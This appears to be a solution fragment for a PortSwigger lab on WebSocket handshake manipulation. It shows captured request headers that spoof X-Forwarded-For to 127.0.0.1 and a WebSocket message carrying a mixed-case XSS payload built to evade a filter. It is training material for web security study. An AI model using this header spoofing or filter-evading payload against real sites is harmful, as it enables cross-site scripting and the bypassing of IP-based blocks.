Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

https://portswigger.net/web-security/learning-paths/websockets-security-vulnerabilities/manipulating-the-websocket-handshake-to-exploit-vulnerabilities/websockets/lab-manipulating-handshake-to-exploit

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Cookie: session=jFBx9qT09nreXTLExm8KsxMXFugTJfNg
Cache-Control: max-age=0
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Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a5f003d034ef903813e8eab005300a5.web-security-academy.net/chat
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Forwarded-For: 127.0.0.1

{"user":"You","content":"<img src=1 oNeRrOr=alert`1`>"}